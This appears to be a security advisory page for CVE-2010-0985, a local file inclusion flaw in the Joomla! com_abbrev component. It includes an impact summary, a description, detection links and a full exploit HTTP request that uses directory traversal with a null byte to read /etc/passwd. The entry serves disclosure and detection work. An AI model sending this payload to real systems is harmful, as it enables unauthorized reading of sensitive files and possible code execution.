🔙 목록으로 돌아가기

CVE-2010-0985: Joomla! Component com_abbrev - Local File Inclusion

TitleJoomla! Component com_abbrev - Local File Inclusion
Authordaffainfo
SeverityHigh
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.
RemediationApply all relevant security patches and product upgrades.
CVSS Score7.5
EPSS Score0.21353
CVE IDCVE-2010-0985
CWE IDCWE-22
Tags cve cve2010 joomla lfi edb chris_simon vuln

🔍 Vulnerability Description

A directory traversal vulnerability in the Abbreviations Manager (com_abbrev) component 1.1 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.

🌐 HTTP Request

GET /index.php?option=com_abbrev&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:135.0) Gecko/20100101 Firefox/135.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2010/CVE-2010-0985.yaml

🦈 Packet Capture: ⬇️ Download cve-2010-0985.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A